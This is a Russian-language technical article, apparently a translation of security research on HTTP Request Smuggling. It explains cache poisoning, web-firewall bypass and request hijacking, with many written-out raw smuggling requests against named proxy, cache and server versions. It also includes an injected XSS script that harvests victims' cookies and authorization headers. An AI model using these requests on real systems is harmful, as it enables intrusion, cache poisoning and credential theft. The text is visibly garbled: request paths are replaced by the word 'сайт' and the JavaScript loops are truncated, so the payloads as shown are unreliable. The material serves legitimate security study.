...
...
...

HTTP Request Smuggling – новейшая техника хакерских атак

Предлагаемая статья представляет собой итог работы группы исследователей в области информационной безопасности Watchfire над выявлением нового типа сетевых атак, который авторы метко и образно назвали HTTP Request Smuggling (дословно – контрабанда HTTP-запросов), оно же сокращенно – HRS. Статья содержит исчерпывающее техническое описание метода, пояснения насчет того, как это все-таки работает и какой ущерб можно с помощью описанной техники нанести.

Авторы статьи подразумевают, что читатель знаком в общих чертах с протоколом HTTP версии 1.1, в противном случае отсылают вас к документации или RFC для ознакомления с азами.

в двух словах...

Итак, новая техника сетевых атак - HTTP Request Smuggling – может с успехом применяться в большинстве веб-систем. Техника эксплуатирует тот факт, что многие веб-серверы не могут правильно обработать некоторые «некорректно» сформированные входящие HTTP-запросы.

Атакующий может извлечь выгоду из противоречий в прочтении запросов в ситуации, когда в обмене данными между клиентом и веб-сервером участвуют промежуточные хосты – кэш-серверы, прокси, файрволлы веб-приложений и т.п.). С помощью техники HRS можно реализовать различные атаки: заражение (подмена содержимого) веб-кэша (web cache poisoning), перехват веб-сессии (session hijacking), XSS (Cross Site Scripting), а также – что наиболее опасно – обход файрволла веб-приложений.

Техника предполагает посылку множества «специально обученных» HTTP-запросов, что приводит к тому, что две атакуемые станции видят два разных набора запросов, и это позволяет атакующему подсунуть нужный запрос одному из сайтов, при том, что другой будет оставаться в полном неведении о случившемся (мутное объяснение, но ничего – на примерах, которых будет в избытке в статье, вы быстро сообразите, что к чему).

В случае с атакой на заражение веб-кэша подсовываемый запрос обманывает кэш-сервер таким образом, чтобы тот ассоциировал запрашиваемый URL c содержимым хакерской веб-страницы и, соответственно. сохранил в кеше этот зловредный контент под маркой благопристойного сайта.

В случае с атакой на обход файрволла сам запрос может содержать зловредные данные (код) – скажем, это может быть червь типа Nimda или Code Red или эксплойт на переполнение буфера. То есть, может атаковаться сам веб-сервер. И. наконец, поскольку метод позволяет атакующему вставить свои пять копеек в череду запросов-ответов между клиентом и сервером, это открывает путь к атакам, связанным с повышением привелегий и вообще доступом туда, куда этот доступ атакующему изначально закрыт.

пример №1 – заражение веб-кэша

Первый пример демонстрирует классическую HRS-атаку. Представьте, что запрос POST содержит два заголовка Content-Length с разными значениями. Некоторые серверы (например IIS и apache) отбросят такой запрос, но оказывается остальные предпочитают просто проигнорить проблемный заголовок. Но позвольте, какой именно из двух нужно счесть проблемным? На счастье хакера разные серверы по разному смотрят на вещи. Например, SunONE W/S 6.1 (SP1) использует первый заголовок Content-Length, а вот SunONE Proxy 3.6 (SP4) предпочтет второй (заметьте – оба продукта из одного семейства SunONE). Теперь собственно эксперимент. Пусть SITE – доменное имя веб-сервера (SunONE W/S), расположенного за SunONE Proxy, а /poison.html – статическая (и, стало быть, кешируемая) HTML-страница на этом веб-сервере. Вот лог атаки, эксплуатирующей несоответсвие в обработке запросов между двумя серверами:

1 POSTсайтHTTP/1.1
2 Host: SITE
3 Connection: Keep-Alive
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 0
6 Content-Length: 44
7 [CRLF]
8 GET /poison.html HTTP/1.1
9 Host: SITE
10 Bla: [space after the "Bla:", but no CRLF]
11 GETсайтHTTP/1.1
12 Host: SITE
13 Connection: Keep-Alive
14 [CRLF]


Обратите внимание, что каждая строка заканчивается CRLF (\r\n), за исключением строки 10.
Давайте посмотрим, что произойдет, если этот запрос будет отправлен на веб-сервер через прокси. Прокси начнет разбирать запрос POST (стрроки 1- 7), в нем обнаружит два хедера Content-Length. Как мы выяснили ранее, прокси проигнорирует первый заголовок, и решит, что тело запроса имеет длину 44 байта. таким образом, прокси примет данные строк 8-10 за тело первого запроса (прошу заметить, там ровно 44 байта!). Затем прокси начнет разбор строк 11-14, которые он примет за второй запрос клиента.

Теперь давайте посмотрим, как веб-сервер интерпретирует ту же самую последовательность, после того, как это было передано ему прокси-сервером. в отличае от прокси веб-сервер использует первый заголовок Content-Length. Нулевая длина подсказывает веб-серверу, что тела у запроса не будет, и он радостно переходит к следующему запросу (GET), начинающемуся, на его взгляд, со строки 8. Обратите внимание, что GET на строке 11 воспринимается веб-сервером как значение заголовка Bla (строка 10).

Итак, вот как распределились данные запросов по двум нашим серверам:



.1 запрос2 запрос
SunONE Proxyстроки 1-10строки 11-14
SunONE W/Sстроки 1-7строки 8-14


А теперь давайте посмотрим, какие ответы посылаются клиенту. Напомним, что веб-сервер видит запросы "POST /foobar.html" (строка 1) и "GET /poison.html" (строка 8), так что и ответов он посылает два – собственно, это будет содержимое указанных файлов. Прокси сопоставляет эти ответы с запросами, которые – как он думает – отправил клиент: "POST /foobar.html" (строка 1) и "GET /page_to_poison.html" (строка 11). Поскольку ответ кешируемый (а сама наша задумка предполагает, что это так), прокси кеширует содержимое poison.html «под маркой» (то есть под URL’ом) page_to_poison.html – и, вуаля! – кеш заражен. Стало быть каждый клиент, запрашивающий page_to_poison.html через этот прокси, получит содержимое страницы poison.html.

Техническое замечание: строки 1-10 и 11-14 должны передаваться в двух разных пакетах, поскольку SunONE Proxy не видит второй запрос в пакете.

особые случаи – более мощные атаки

Более сильного эффекта можно достичь если атакуемый сайт разделяет IP-адрес с другим сайтом (находящимся под контролем атакующего). В данном случае прокси может разделять TCP-соединение к «серверу» (идентифицируемому по IP-адресу) даже если логически трафик предназначен для разных сайтов. Атакующему в данном случае понадобится всего лишь создать сайт (с IP-адресом, совпадающим с адресом жертвы) и воспользоваться заголовком Host (строка 9), указывающим на этот сайт (например, «Host: evil.site»).

Еще один вариант реализации использует запрос к прокси (считая что конечный веб-сервер сможет обслужить его), (например, строка 8 ) и отправляет запрос «GETсайт
Оба метода позволяют атакующему получить полный контроль над кэшированным контентом.

пример 2: обход Firewall/IPS/IDS (HTTP request smuggling через FW-1)

Файрволл CheckPoint FW-1 поставляется с набором опций Web Intelligence, для контроля на уровне приложений веб. Они содержат множество статических проверок, запускаемых при прохождении каждого веб-запроса. Например, HTTP worm catcher представляет собой набор заранее определенных регулярных выражений, которые отлавливают известные виды червей вроде cmd.exe в URL (nimda). Другим примером является проверка директорий, когда FW-1 не дает выйти дальше корневой директории в URL, (например, "/a/b/../p.html" - разрешено, но "/a/../../p.html" — нет).

Web Intelligence включает 13 разных опций безопасности, среди них есть защита от атак типа SQL injection и XSS. Эти опции реализованы как сигнатуры, сопоставляемые с заголовками и телами запрососв HTTP. Похоже, что нам удастся обойти эти механизмы защиты с помощью HRS. Ниже будет описано как это можно реализовать, когда FW-1 защищает IIS/5.0. В IIS/5.0 существует ошибка в том, как он обрабатывает запросы POST с большим телом: запросы просто обрезаются после границы в 48 кб (49152 байт) если указанный в запросе Contetn-type не является одним из ожидавшихся (например, для asp ожидается «application/x-www-form-urlencoded»). Таким образом, отправляя запрос POST с телом длиной 48к+Х для страницы asp, мы сможем запрятать контрабандный запрос в последних Х байтах тела. FW-1 посчитает это частью тела, в то время как IIS/5.0 примет это за новый запрос. Используя некоторые дополнительные уловки можно обойти не только проверки FW-1 для URL, но и для тела сообщения. Пусть /page.asp — asp-страница на веб-сервере. Представим, что серверу был отослан следующий пакет (через FW-1):

1 POST /page.asp HTTP/1.1
2 Host: chaim
3 Connection: Keep-Alive
4 Content-Length: 49223
5 [CRLF]
6 zzz...zzz ["z" x 49152]
7 POST /page.asp HTTP/1.0
8 Connection: Keep-Alive
9 Content-Length: 30
10 [CRLF]
11 POST /page.asp HTTP/1.0
12 Bla: [пространство после "Bla:", но без CRLF]
13 POST /page.asp?cmd.exe HTTP/1.0
14 Connection: Keep-Alive
15 [CRLF]


Заметьте, что каждая строка кроме 12 заканчивается CRLF.
Теперь проанализируем, как этот пакет будет обрабатываться FW-1 и IIS/5.0. Так как запрос имеет длину (Сontent-Length) 49233 байта, FW-1 считает строку 6 (49152 копии «z») и строки 7-10 (71 байт) его телом (49152+71=49233). Далее FW-1 продолжает обрабатывать вторую часть запроса на строке 11. Обратите внимание, что после «Bla» на строке 12 нет CRLF, соответственно POST на строке 13 передается как значение заголовка «Bla:». На 15 строке запрос заканчивается. Таким образом, даже если строка 13 соответствует шаблону для червя Nimda (cmd.exe) она не будет заблокирована, так как считается частью значения заголовка, а не URL или частью тела, к которому также применяются некоторые проверки. Таким образом, нам удалось «пронести» cmd.exe через систему безопасности FW-1.
Покажем теперь, что строка 13 будет воспринята IIS/5.0 (например, она представлена в виде URL /page.asp?cmd.exe) как запрос.

1: Итак, первый запрос — это запрос POST к asp-странице. Он не имеет ожидающегося заголовка «Content-Type:application/x-www-form-urlencoded». Из- за этого IIS/5.0 по ошибке обрежет его на 49152 байтах и начнет обработку нового запроса со строки 7. Этот запрос имеет заголовок длины содержимого равный 30 байтам, что в точности соответствует длине строк 11-12. Наконец, строки 13-15 обрабатываются как 3-й запрос, что означает, что нам удалось протащить «cmd.exe» через FW-1 на IIS/5.0!
Приведенная ниже таблица обобщает то, как серверы обрабатывают пакет:



.1-й запрос2-й запрос3-й запрос
FW-1 R55W строки 11-15 -строки 1-10строки 11-15
IIS/5.0строки 1-6строки 7-12строки 13-15


пример 3: прямой и обратный HRS

Типичная HRS-атака состоит из нескольких запросов (обычно как минимум из 3-х), в которых запрятана информация, видимая веб-сервером как запрос, в то время как файрволл воспринимает ее по-другому. Вот как это выглядит в общих чертах (HTTP-метод может быть POST вместо GET или же являться комбинацией из них):

1 GET /req1 HTTP/1.0 <-- видно серверу и кэшу
2 ...
3 GET /req2 HTTP/1.0 <-- видно веб-серверу
4 ... 5 GET /req3 HTTP/1.0 <-- видно кешу
6 ...

Многоточием обозначены места, где могут находится различные заголовки или информация. В двух приведенных выше примерах веб-сервер видел запросы req1 и req2, в то время как кэш/файрволл видел запросы req1 и req3. Таким образом, запрос req2 был доставлен к веб-серверу «контрабандой». Такой тип контрабандной передачи запроса называется прямым. Как правильно догадался читатель, существует еще и обратный метод. Основное его отличие от прямого заключается в том, что веб-сервер видит запросы req1 и req3, а кэш/файрволл видит запросы req1 и req2 в следующем порядке:

1 GET /req1 HTTP/1.0 <-- видно веб-серверу и кэшу
2 ...
3 GET /req2 HTTP/1.0 <-- видно кэшу
4 ...
5 GET /req3 HTTP/1.0 <-- видно веб-серверу
6 ...

При обратной «контрабанде» запрос req3 тайно передается веб-северу. Данный тип HRS намного сложнее в реализации, так как возможен только в тех случаях, когда веб-сервер отвечает на первый запрос перед тем как получает весь запрос целиком. Обычно кэш-сервер не перенаправляет запрос req2 веб-серверу до тех пор, пока не получит ответ на первый запрос. А так как веб-сервер считает, что req2 является частью первого запроса, то он не отвечает до тех пор, пока кэш-сервер не отправит ему req2. В результате имеем потенциальную возможность попадания системы в тупик. Тем не менее, как показывает приведенный ниже пример, это происходит не всегда. Нижеследующее работает с кэш сервером DeleGate/8.9.2 и IIS/6.0 или Tomcat или SunONE web-server/6.1.

В данном случае уловка заключается в том, чтобы послать запрос GET с заголовком «Content-Length: n». DeleGate считает что Content-Length GET- запросов всегда равна нулю, но , к счастью для нас, передает дальше оригинальный заголовок «Content-Length: n». С другой стороны, веб-сервер думает что запрос имеет тело длиной n и отправляет ответ до приема тела, что делает возможным обратную «контрабанду».
Вот полное описание атаки (опять же, SITE — это DNS-имя веб-сервера, /poison.html — это статическая кэшируемая HTML страница на веб-сервере):

1 GETсайтHTTP/1.1
2 Connection: Keep-Alive
3 Host: SITE
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 40
6 [CRLF]
7 GETсайтHTTP/1.1
8 Bla: [место после "Bla:", но без CRLF]
9 GET /poison.html HTTP/1.0
10 [CRLF]

Опять же, каждая строка заканчивается CRLF (\r\n), кроме строки 8.
DeleGate игнорирует заголовок «Content-Length: 40» на строке 5 и считает что первый запрос не имеет тела. Следовательно, он считает, что второй запрос — это «page_to_poison.html» (строка 7), который заканчивается на строке 10 (GET на строке 9 является значением заголовка «Bla»). Веб- сервер считает что у первого запроса длина тела равна 32, а это — точная длина строк 7-8. Таким образом, веб-сервер обрабатывает строки 1-8 как первый запрос и строки 9-10 как второй. Его второй ответ на «poison.html» (строка 9) кэширован DeleGate как ответ на «page_to_poison.html», и кэш заражен, что и требовалось доказать!

Важное замечание: строки 1-6 и 7-10 должны быть отправлены в двух раздельных пакетах.

пример 4: перехват запросов («контрабанда» HTTP запросов через прокси сервер)

Методика «контрабанды» может быть модифицирована для достижения другой цели: атакующий может использовать проблему в безопасности сайта (скрипт/страницу, не защищенную от кросс-сайтового скиптинга) для проведения атаки, аналогичной XSS. Такая атака будет в общем более мощной, чем XSS, потому что:

1) Она не требует от атакующего какого-либо взаимодействия с клиентом.
2) HTTPonly cookies и информация по HTTP-аутентификации могут быть украдены напрямую (нет необходимости поддержки трэйса на сервере), что делает данную атаку еще более страшной, чем межсайтовая трэйсовая атака.

Существуют некоторые отличия между «контрабандой» запросов и захватом запросов, обсуждавшиеся ранее:
1) Захват запросов требует наличия промежуточного устройства (прокси-сервера) для разделения клиентских подключений к серверу (в отличие от заражения веб-кэша, захват запросов не требует кэширующего прокси-сервера).
2) Захват запросов для своей реализации требует наличия XSS-уязвимости на веб-сервере.
Предположим, что /vuln_page.jsp имеет уязвимость XSS в параметре «data». Рассмотрим следующую атаку:

1 POST /some_script.jsp HTTP/1.0
2 Connection: Keep-Alive
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 9
5 Content-Length: 204
6 7 this=thatPOST /vuln_page.jsp HTTP/1.0
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 95
10
11 param1=value1&data=<script>alert("stealing%20your%20data:"% 2bdocument.cookie)</script>&foobar=

Приведенный выше код будет воспринят Microsoft ISA сервером как одиночный POST-запрос с длиной тела равной 204 байтам (строки 1-11). Веб- сервер/сервер приложений Tomcat воспримет это как один законченный HTTP POST-запрос с длиной тела 9 байт (строки 1-17, включая «this=that» на строке 7) и один незаконченный POST-запрос с заявленной длиной тела 95 байт, но имеющий фактическую длину 94 байта (строки 7-11, исключая «this=that» на строке 7). Первый (законченный) запрос вызывает ответ (который отправляется ISA атакующему).
Неполный запрос Tomcat ставит в очередь.

Теперь, когда ISA получит запрос от клиента (например, GET-запрос), этот запрос перенаправляется Tomcat, который считает первый байт завершением предыдущего запроса и думает, что остальная информация — это ошибочный HTTP-запрос. Tomcat отправит ответ на завершенный запрос ISA:

POST /vuln_page.jsp HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 95
param1=value1&data=<script>alert("stealing%20your%20data:"%2bdocument.cookie)</script>&foobar=G

Обратите внимание, что клиент получит HTML-страницу с вредоносным Javascript-кодом в ней:

<script>alert("stealing your data:"+document.cookie)</script>

Но это пока что показывает только то, как вредоносный Javascript может быть запущен в клиентском браузере. Данный пример не показывает, как могут быть украдены HttpOnly cookies и информация HTTP-аутентификации. Для этого потребуются дополнительные уловки. Как видно, запрос атакующего предшествует запросу жертвы. Так как запрос жертвы обычно содержит информацию в HTTP-заголовках, атакующий может точно подсчитать Content-length для включения данной информации в информацию, возвращаемую обратно в HTML-поток. После того как данная информация появится в ответной странице, следующий Javascript-код может извлечь ее (обратите внимание на то, что он использует событие Window onload для запуска после того, как вся страница загрузится, и что он собирает все textNodes в одну строку, что и интересует атакующего):

window.onload=function()
{
str="";
for(i=0;i{
for(j=0;j{
if(document.all(i).childNodes(j).nodeType==3)
{ str+=document.all(i).childNodes(j).data; }
}
}
alert(str.substr(0,300));
}

Таким образом, атакующему требуется только незначительно модифицировать атаку в следущее:

POST /some_script.jsp HTTP/1.0 Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length:9
Content-Length: 388
this=thatPOST /vuln_page.jsp HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 577
param1=value1&data=<script>window.onload=function(){str="";for(i=0;i.length;i%2B%2B){for(j=0;j.all(i).childNodes(j).nodeType==3){str%2B=document.all(i).childNodes(j).data;}}}a lert(str.substr(0,300));}</script>

Таким образом, для неполного HTTP-запроса предоставлены 277 байт, которые займут 300 байт ответа жертвы, и попадут через поток HTML-ответов к клиенту. Как только данный поток попадет к клиентскому браузеру, запускается вредоносный Javascript-код, который в свою очередь отрезает 300 байт от HTML-страницы и отправляет их атакующему. Эти первые 300 байт обычно содержат заголовки HTTP-запроса, такие как, например, Cookie и информация по авторизации, а также сам URL, запрошенный клиентом.

пример 5: перехват данных из запроса

Другой интересной возможностью является способность атакующего принудительно запустить cкрипт (/some_page.jsp) с данными учетной записи клиента. Данный вид атаки очень похож по своей сути на межсайтовую подделку запросов, но является намного более мощным, поскольку атакующему не нужно обмениваться какой-либо информацией с жертвой.
Атака выглядит следующим образом:

POST /some_script.jsp HTTP/1.0
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Content-Length: 142
this=thatGET /some_page.jsp?param1=value1¶m2=value2 HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 0 Foobar:


Клиент отсылает запрос:

GET /mypage.jsp HTTP/1.0
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy

Tomcat приклеит этот кусок к стоящему в очереди незавершенному запросу, и вместе это будет выглядеть следующим образом:

GET /some_page.jsp?param1=value1¶m2=value2 HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Foobar: GET /mypage.jsp HTTP/1.0
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy

Завершенный запрос запустит скрипт /some_page.jsp и вернет результат клиенту. Данный скрипт может быть запросом на смену пароля или перевод денег со счета клиента насчет атакующего и т.д.

методики реализации HRS

Итак, нами были рассмотрены и использованы 3 уязвимости в обработке HTTP-запросов:
1) Два различных заголовка Content-Length (примеры 1, 4 и 5).
2) Запрос GET с Content-Length (пример 3).
3) Ошибка 48кб в IIS/5.0 (пример 2).
Кроме описанных выше атак, существует еще несколько довольно эффективных приемов. В большинстве случаев связка кэш/прокси/файрволл и веб-сервер могут быть атакованы с использованием одной или нескольких методик, но в каждом конкретном случае возникнут нюансы. Чуть ниже приведен список подобных связок и известных их уязвимостей. Следует отметить, что данный список далеко не полный и содержит только известные авторам уязвимости.

двойной заголовок Content-Length

Аномалия в дано случае очевидна — атакующий посылает запрос с двумя заголовками Content-Length. В данном случае HRS возможен если кэш-сервер и веб-сервер не используют один и тот же заголовок. Кэш-сервер использует последний заголовок, а веб-сервер — первый (примеры 1, 4 и 5). Ниже приведен список кэш-серверов, использующих последний заголовок:
— Microsoft ISA/2000;
— Sun Microsystems SunONE 3.6 SP4;

Следующие веб-серверы используют первый заголовок:
— Jakarta Tomcat 5.0.19 (Coyote/1.1);
— Tomcat 4.1.24 (Coyote/1.0);
— Sun Microsystems SunONE web server 6.1 SP1.

Все 6 комбинаций были протестированы и оказались подверженными вышеописанной уязвимости. Следует особо отметить связку из Sun Microsystems SunONE 3.6 SP4 proxy server с SunONE web server 6.1 SP1. Во многих случаях прямая «контрабанда» не удалась, реально оказалось реализовать только обратную.

Рассмотрим случай с популярным коммерческим кэш-приложением (название которого мы не в праве разглашать, поэтому назовем его PCCA) и Jakarta Tomcat 5.0.19 (Coyote/1.1). Так как PCCA использует последний заголовок Content-Length, он перенаправит запросы с телами по отдельному подключению к веб-серверу. Единственный способ обойти такое поведение - послать второй запрос без тела, с заголовком Content-Lengh, равным 0. Однако это вызовет новую проблему — мы отсылаем 2 заголовка: один — с положительным значением, а второй — с нулевым. Веб-сервер, использующий первый заголовок, решит, что запрос не закончен и в итоге система зайдет в тупик. Тем не менее, замечено, что некоторые веб-серверы (IIS/6.0 и Tomcat) ответят на запрос к статическому ресурсу (например, /index.html) до того, как полностью получат тело. Этим можно воспользоваться для реализации обратной «контрабанды», что сейчас и будет продемонстрировано применительно к PCCA и Tomcat.

Атакующему потребуется послать первый запрос (к какой-либо статической странице) с двумя заголовками Content-Length. Первый должен содержать длину второго запроса (который будет виден веб-серверу). Второй Content-Length первого запроса должен имеет нулевое значение. Второй запрос должен быть направлен к ресурсу, контент которого будет использоваться для спуфинга. Наконец, третий запрос должен быть направлен на ресурс, который будет подвержен спуфингу. В данном случае, контент ресурса, указанного во втором запросе, будет кэширован для URL источника, указанного в третьем запросе. Вот пример атаки (для PCCA и Tomcat):

1 GETсайтHTTP/1.0
2 Content-Length: 71
3 Content-Length: 0
4 Connection: Keep-Alive
5
6 GETсайтHTTP/1.0
7 Host: SITE
8 Connection: Keep-Alive
9 GET /poison.html HTTP/1.0 10

PCCA использует последний заголовок Content-Length (строка 3) и, следовательно, перенаправляет строки 1-5 серверу (Tomcat). Tomcat обрабатывает запрос, использует первый заголовок Content-Length (строка 2) и ожидает еще 71 байт. Однако так как запрошенный ресурс — это статический html (/stattic_foobar.html), Tomcat незамедлительно возвращает страницу PCCA. PCCA перенаправляет ответ атакующему и отправляет следующий запрос, полученный из потока, в данном случае — это строки 6-10 (запрос на /page_to_poison.html). Теперь Tomcat использует 71 байт (строки 6-8) и видит в строках 9-10 второй запрос. Следовательно, он отвечает контентом poison.html. Это отмечается PCCA как ответ на запрос к page_to_poison.html и, как видим, заражение удалось.

кэш сервер использует первый заголовок Content-Length, а веб-сервер - последний

Ниже приведен список кэш-серверов, замеченных за данным нарушением:
— Squid 2.5stable4 (Unix);
— Squid 2.5stable5 (NT port);
— Oracle WebCache 9.0.2.

Веб сервер BEA Systems WebLogic 8.1 SP1, в свою очередь, использует последний заголовок Content-Length. Все три комбинации были протестированы и оказались уязвимыми к данному типу атаки.

запрос с заголовками “Transfer-Encoding: chunked” и “Content-Length: …”

Было замечено, что Apache 2.0.45 весьма интересно реагирует на данную аномалию. Тело запроса, приходящего с двумя заголовками считается им как «chunked-encoded». Это тело полностью читается Apache и собирается в обычный (non-chunked) запрос. По какой-то причине Apache не добавляет своего собственного заголовка Content-Length, а также не меняет существующий заголовок. В результате, запрос перенаправляется с оригинальным заголовком Content-Length без заголовка «Transfer-Encoding: chunked», и с телом, представляющим собой собрание всех частей тела оригинального запроса. Данную аномалию можно использовать для «контрабанды» запросов путем отправки нулевого значения Content-Length и разделенного тела со спрятанным HTTP-запросом. Описываемая атака была успешно проведена с Apche 2.0.45 и следующими веб-серверами:
- Microsoft IIS/6.0 и 5.0;
- Apache 2.0.45 (в качестве веб-сервера) и Apache 1.3.29;
- Jakarta Tomcat 5.0.19 (Coyote/1.1), Tomcat 4.1.24 (Coyote/1.0);
- IBM WebSphere 5.1 и WebSphere 5.0;
- BEA Systems WebLogic 8.1 SP1;
- Oracle9iAS 9.0.2;
- Sun Microsystems SunONE web server 6.1 SP1.

Следует отметить, что поведение Apache является неестественным, так как запрос, создаваемый им по умолчанию, не содержит заголовка Content- Length и это вызовет проблемы с большинством веб-серверов (которые примут Content-Length равным нулю). Так, нормальный запрос с «Transfer- Encoding: chunked», посылаемый через него, дойдет до веб-сервера с нормальным телом, но без заголовка «Content-Length», из-за чего большинство веб-серверов просто проигнорируют все тело.

двойной CR в HTTP-заголовке

Данная методика использует аномалию в обработке HTTP-заголовков. Одни программы воспринимают строку заголовка из одного CR и следующими за ним CRLF как строку заголовка HTTP, в то время как другие думают что это конец маркера заголовка. Для того чтобы превратить эту особенность в успешную атаку нам понадобится еще одна методика. Воспользуемся техникой «заголовок пробел» (Header SP). В ее основе — особенности обработки разными программами HTTP-заголовков, содержащих пробелы между именем заголовка и символом «:». Некоторые системы понимают «foo :» как заголовок, имеющий имя «foo», в то время как другие — «foo » (слово foo и пробел на конце). Атака, описанная ниже, использует обе методики.

Начнем с техники использования запросов с двойным CR в строке заголовка: PCCA считает, что такой запрос имеет заголовок «CR», и поэтому не завершает блок заголовков. IIS/5.0 не завершает блок заголовков при другом условии, которое будет рассмотрено ниже.
Техника Header SP нужна для того, чтобы обойти особенность PCCA отправлять запросы с телом по новому TCP-соединению, также как и для обхода отброса ISS-запросов с двойным заголовком Content-Length.
Основная идея атаки выглядит примерно так:

1 GETсайтHTTP/1.0
2 Connection: keep-alive
3 [CR]
4 GET /poison.html?aaaa ... aaa [2048 times] HTTP/1.0
5 Content-Length: N
6 Content-Length : 0
7
8 GETсайтHTTP/1.0
9

где N — длина запроса ксайт(строки 8-9).

PCCA распознает строки 1-7 как первый запрос. Это будет GET-запрос с Content-Length равным нулю (обратите внимание, что PCCA обрабатывает два заголовка Content-Length: один на строке 5 и один на строке 6. Заголовок строки 6, реализующий методику «header SP» не является обычным для такого случая, так как имеет дополнительный SP после имени заголовка. Тем не менее, PCCA воспринимает эту строку как заголовок Content-Length. Так как PCCA воспринимает последнее значение, то для нее Content-Length получается равным нулю). Следовательно, PCCA отправляет веб-серверу строки 1-7 как один HTTP-запрос.

При этом PCCA меняет CR CRLF на CR CR CRLF, что, правда, никак не влияет на атаку. IIS/5.0 обрабатывает это как первый запрос (строки 1-3), за которым следует часть второго запроса (строки 4-7). Первый запрос завершается CRLF CR CR CRLF. Интересной особенностью поведения IIS/5.0 в данном случае является то, что он сканирует следующую порцию информации из TCP-соединения в попытке интерпретировать ее как HTTP-заголовок. Таким образом, если в следующих 2048 байтах им будет найден символ «:», то последовательность CRLF CR CR CRLF не будет воспринята как маркер конца заголовков. Поэтому нам потребовался наполнитель в виде 2048 символов «а». После того как данное событие произошло и IIS не увидел «:» в буфере, он воспримет строки 4-7 как новый HTTP-запрос (конечно, он отошлет ответ на первый запрос). Строки 4-7 понимаются как GET-запрос с Content-Length=N (строка 6 игнорируется, так как IIS не считает Content-Length и следующий за ним SP за заголовок). Теперь ISS ждет завершения запроса.

Теперь вернемся к PCCA. PCCA получает ответ на первый GET-запрос и теперь он может отправить второй запрос (как он понимает) к
page_to_poison.html, т.е. строки 8-9. IIS получает недостающие N символов тела второго запроса; теперь запрос (к poison.html) может быть обработан и создан ответ на него. PCCA получает содержимое /poison.html в ответ на запрос к /page_to_poison.html. Теперь заражение веб-кэша завершено.
Данная методика была опробована с PCCA и IIS/5.0.

GET-запрос с Content-Length (обратная «контрабанда»)

В данном случае аномалия заключается в том, что некоторые системы считают, что у GET-запроса не может быть тела, даже если представлен заголовок Content-Length. В таком случае кэш-сервер (DeleGate/8.9.2) считает, что GET-запрос не имеет тела и перенаправляет его (без тела) веб-серверу. Некоторые веб-серверы обслужат контент статической страницы без принятия всего запроса. В таких случаях заражение кэша вполне возможно (если веб- сервер ждет пока не придет весь запрос, то система заходит в тупик). Веб-серверы, за которыми замечено такое поведение, следующие:
— Microsoft IIS/6.0;
— Jakarta Tomcat 5.0.19 (Coyote/1.1), Tomcat 4.1.24 (Coyote/1.0);
— Sun Microsystems SunONE web server 6.1 SP1.

Ниже приведен пример атаки:

1 GETсайтHTTP/1.1
2 Connection: Keep-Alive
3 Host: SITE
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 40
6
7 GETсайтHTTP/1.1
8 Foo: GET /poison.html HTTP/1.0
9

DeleGate считает, что GET-запрос не имеет тела. Следовательно, он передает строки 1-6 как законченный запрос к веб-серверу. Веб-сервер, в свою очередь, возвращает /static_foobar.html, но также ждет завершения запроса (например, дополнительные 40 байт). Увидев первый ответ, DeleGate читает следующий запрос от клиента, которым являются строки 7-9 и перенаправляет это веб-серверу.

Веб-сервер читает первые 40 байт и отбрасывает их. В этих 40 байтах как раз содержится «GET /page_to_poison.html HTTP/1.1 CRLF Foo:», перенаправленные от прокси в начале второго запроса. Следовательно, веб сервер отбросит это и начнет читать второй запрос как GET /poison.html. Эта страница будет возвращена DeleGate. Таким образом, DeleGate увидит контент /poison.html в ответ на запрос к /page_to_poison.html. Данная атака проводилась на DeleGate/8.9.2 и все веб-серверы, перечисленные выше (IIS/6.0, Tomcat and SunONE).

уловка с CRLF SP CRLF

Эта методика основана на редко используемой возможности HTTP, называемой «строки продолжения заголовка» (header continuation lines). Согласно стандарту HTTP, строка заголовка, начинающаяся с SP, является продолжением предыдущей строки заголовка. Многие системы не имеют реализации данной возможности в их HTTP-парсерах, чем мы попытаемся воспользоваться.

Нижеперечисленные программы воспринимают CRLF SP CRLF как продолжение предыдущего заголовка:
— Checkpoint FW-1 kernel R55W beta (Web Intelligence);
— Squid (under some conditions);

Microsoft IIS/5.0 воспринимает эту последовательность как конец маркера заголовков.
Прямая атака будет выглядеть примерно так:

1 POST /dynamic_foobar.asp HTTP/1.0
2 Connection: Keep-Alive
3 Content-Type: application/x-www-form-urlencoded
4
[SP]
5
GET /malicious_url HTTP/1.0
6


FW-1 отправит строки 1-6 веб-серверу (IIS/5.0). Он воспримет строку 4 как продолжение строки 3, и строку 5 как заголовок HTTP-запроса. Так как FW-1 не применяет свои проверки для HTTP-заголовков, он пропустит строки вроде «cmd.exe».

IIS/5.0 решит что к нему пришли 2 запроса: первый запрос — в строках 1-4 (POST-запрос с телом нулевой длины, завершенный последовательностью CRLF SP CRLF); второй запрос — в строках 5-6 (GET-запрос с вредоносным URL).

Следовательно, защиты FW-1 не смогут предотвратить доставку к веб-серверу URL из второго запроса.
Рассмотрим еще один вариант данной атаки, который требует некоторой дополнительной информации.
Squid (мы тестировали Squid 2.4stable7, 2.5stable4 и 2.5stable5 для NT) считает CRLF SP CRLF за продолжение заголовка. Тем не менее, Squid также отмечает, что заголовки HTTP-запросов должны содержать символ «:» (в противном случае весь запрос отбрасывается). Исходя из этого, строка, идущая за CRLF SP CRLF (например, строка 5) должна содержать «:». Тем не менее, очевидно, что squid ищет «:» после CRLF SP CRLF и если находит его, решает, что данная строка является заголовочной. Соответственно, можно схитрить, наполнив строку случайной информацией (6000 байт) и завершить ее символом «:». Squid воспримет это как строку заголовков, в то время как IIS/5.0 воспримет это как новый запрос.
Например:

1 GETсайтHTTP/1.0
2 Foo: bar
3
[SP]
4
GET /poison.html?AAAAA … [6000 times]… AAAA: HTTP/1.0
5 Connection: Keep-Alive
6
7 GETсайтHTTP/1.0 8

